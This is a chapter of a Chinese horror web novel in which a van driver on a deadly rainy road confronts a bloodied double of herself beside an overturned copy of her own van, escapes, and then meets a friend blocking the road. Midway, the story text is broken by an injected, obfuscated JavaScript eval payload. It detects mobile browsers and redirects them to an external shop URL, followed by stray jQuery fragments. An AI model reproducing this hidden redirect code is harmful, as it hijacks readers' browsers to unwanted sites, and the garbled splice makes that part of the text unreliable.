姜迟盯着那个数字看了三秒。
3。
她又回头看了一眼车厢隔断。哭声还在，老太太的念叨还在，时断时续。
她转回头，挂挡，继续开。
怕没有用。她在这条路上学来的第一件事就是，怕也得开在道上。
超时要死，停车未必不死，那就开。
雨刮器疯狂地摆，雨还是一层一层糊上来。她开了大概十分钟，那个死者数字又跳了一次。
4。
她按了两声喇叭，长按。
这回喇叭正常响了，可雨声太大，淹没了。
她又按了一声，还是没人理。
"别哭了。"她对着隔断说了一句，"哭解决不了问题。"
哭声小了一点，但没停。
姜迟把车速压到四十。
这种雨夜，这种路，四十已经很快了。
她的手一直搭在档把上，随时准备应对突发情况。
突发情况来了。
前方雨幕里，灯光照出了一片杂乱的影子。
她下意识松油门，车速降下来。车灯扫过去，她把那片影子看清了，心脏猛地一抽。
一辆车翻在路边。
翻的是一辆厢式货车，侧翻，车头朝下，车尾翘着，玻璃碎了一地，在雨里泛着光。
更让她浑身发凉的是那辆车的样子。
跟她的一模一样。
同款，同色，连车门上那块磕掉的漆都在同一个位置。
车牌都一样。
姜迟把车停在翻车的十几米外，拉手刹，没有熄火。雨点砸在车顶，噼里啪啦响成一片。
翻车旁边站着一个人。
那人站在雨里，没打伞，头发湿淋淋贴在脸上，穿着跟她同款的外套，正朝她的车挥手。
姜迟按下车窗，雨气灌进来。
"救命！"那人喊，声音穿过雨幕，"帮帮我！"
姜迟没动。
那人绕过翻车，朝她走来。车灯照在那人脸上，姜迟看清了。
是她自己。
满脸是血的她自己。血混着雨水往下淌，左眼角那颗痣还在，脸上的表情惊慌，狼狈，但确实是她的脸。
"快！"那个姜迟跑到她车窗边上，扒着车门，"我翻了车，人卡在里面出不来，帮我一把！"
姜迟看着她，没开门。
"人卡在哪？"
"驾驶室！"那个姜迟指着翻车，"我朋友卡在里面，求你了，快！"
"你朋友叫什么？"
那个姜迟愣了一下："都什么时候了，你还问这个！"
"我问你朋友叫什么。"姜迟盯着她，一字一句，"你说出来，我马上下车救。"
雨水顺着那个姜迟的脸往下淌，血痕被冲淡了，露出底下的皮肤，白得不像活人。
"赵广军。"那个姜迟说，"我朋友叫赵广军，开面包车的，你不认识吗？"
姜迟的心沉了一下。
赵广军是她在这条路上唯一交换过号码的活人。这个东西查过她，知道这个名字。
"他在哪？"姜迟问。
"车里！翻车里！"那个姜迟使劲拍她的车门，"快开门啊！你是不是人？"
姜迟慢慢地说："赵广军今晚拉一车鸡，在仙桥村那边，离我这一百公里。你车里那个，是谁？"
那个姜迟的拍打停了。
她站在雨里，看着车窗里的姜迟，脸上的惊慌一点一点褪掉，像退潮。
"你发现啦。"她说。
声音变了，不再惊慌，平平的，跟导航一个调子。
"发现什么？"
"发现我是假的。"那个姜迟笑了笑，雨水顺着她的嘴角往下流，"你看穿了。真没意思。"
姜迟的手一直没离开档把："翻车也是假的？"
"翻车是真的。"那个假货说，"这碑上的规矩你也看见了，这路段每过一次，死一个。死的是谁，不一定。有时候是司机，有时候是货，有时候。"
她歪了歪头。
"是上一个司机。死掉的那个司机，会站在路边等下一个。等了，就能替。替了，就能活。"
姜迟明白了。
这个假货是之前死在这的某个司机，披上了她的脸，等在这，等她停车，等她开门，等她下来救人的那一瞬间，做什么手脚。
"你等多久了？"姜迟问。
"不记得了。"假货说，"我死的那天下着同样的雨。我停车救人，救完一回头，我的车开走了，开车的人长得跟我一模一样。我坐在雨里看了三天，看明白了这路段的规矩。"
"什么规矩？"
"两个只能活一个。"假货朝她走近一步，扒着车窗，"你下来，或者我上去。规矩就这么简单。"
她的手上来了，去拉车门。
车门从里面锁着，她拉不动。她的脸贴在车窗玻璃上，血和雨在玻璃上糊开。
"开门。"她说，"你不开门，我就一直在这站着。你的货超时不超时？你的乘客闹不闹？你耗得起吗？"
姜迟看着她。
这确实是阳谋。她耗不起。
货在车上，死者数字还在涨，她被困在这，前有翻车拦路，旁边立着个假货，走也走不了。
她低头看了一眼手机。
死者数字停在4，没再涨。
备注栏浮出一行小字，安安静静的，像一直在等她自己想到：
【事故是真的，翻车是真的，人也是真的。死的那个，不在车里。】
姜迟猛地抬头。
她看向那辆侧翻的车。车头朝下，驾驶室被压在下面，玻璃碎了一地。如果死的人不在车里，那车里是什么？
"你车里卡着的，"姜迟慢慢地说，"是谁？"
假货的脸色第一次变了。
"你怎么。"她的话没说完。
姜迟推开了车门。
朝外猛地一撞。
假货正扒在门上，被车门撞得踉跄着退出去两步。
姜迟跳下车，没管假货，直奔翻车。
她绕到驾驶室那一侧。车头朝下，驾驶室被压得变形，她蹲下去，从碎了的挡风玻璃往里看。
里面没有人。
座位上没有人，方向盘上没有人，只有一件外套，搭在座椅靠背上，外套的样式跟她身上的一模一样。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17947440|214093||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
她伸手把外套拽出来。
外套是空的，袖子里掉出来一个东西，当啷一声落在碎玻璃上。
一枚硬币。
黄铜的，一圈花纹，绕一圈看不懂的字。跟她兜里那枚一模一样。
姜迟捡起硬币，攥在手里。
"你拿死人东西。"
假货的声音从她背后传来。她转过身，假货站在雨里，不再装她的脸。
五官开始往下淌，淌成一片模糊的白，只有嘴的位置留着一张嘴。
"那硬币是我的。"那张嘴说，"我死的时候攥在手里的。我的车，我的硬币，我的命。"
"你的命是你自己丢的。"姜迟说。
"我是被害死的！"
"被害死的人，"姜迟盯着她，"不会在这等着害下一个。"
她转身朝自己的车走。
那张嘴在她背后喊："你跑不掉！这碑记着你名字了！姜迟！每过一次，死一个，你的名字已经写上去了！"
姜迟拉开车门，回头看了她一眼。
"名字写上去，"她说，"那就再划掉。我的车比你旧，我的命也比你硬。"
她上车，关门，落锁，挂挡。
车头绕开翻车的位置，碾过路肩的碎石，重新开回路面。雨刮器摆过去，她从后视镜里看了一眼。
雨幕里，那个白乎乎的东西还站在翻车旁边，没有追。
车开出去一公里，手机震动。
【事故现场已通过。】
【死者数更新：4。无新增。】
【提示：碑上的名字，划掉一个，涨一个。你的还在。】
姜迟没工夫琢磨这句话。
因为车厢里的哭声变了。
不再是婴儿的哭声。婴儿的哭声停了，换成老太太的哭声，呜呜的，压抑的，老人哭起来那种没力气又停不住的调子。
哭声里还夹着说话声，老太太在跟什么人说话，声音忽高忽低。
姜迟把车速压下来，把耳朵贴近隔断。
老太太在跟那个红裙子女人说话。
"到了没有啊。"老太太哭着说，"我孙子还在家等我，我给他做的鞋还没纳完。我不去终点站了，让我下车吧。"
然后是一个年轻女人的声音，应该是红裙子女人，声音很冷。
"下不了车。"红裙子女人说，"老太太，上了这车的，就没有下去的。"
"那到哪是个头啊？"
"到终点站到头。"红裙子女人说，"到不了终点站，就没头。"
姜迟的喉咙发干。
她看了一眼导航。收货地那一栏，依然显示未解锁。
她拿出手机，翻到订单界面，备注栏空空的，姐姐的字没有再出现。
她盯着那栏空白，忽然很想问一句，终点站在哪。
还没来得及问，前方的雨里，路中间站着一个人。
那个人没有躲，车灯照在他身上，照出一张脸。
姜迟看清那张脸，差点踩死刹车。
是赵广军。
那个开面包车的男人，穿着他那件灰外套，站在路中间，举着双手拦车，脸上是她从没见过的惊恐。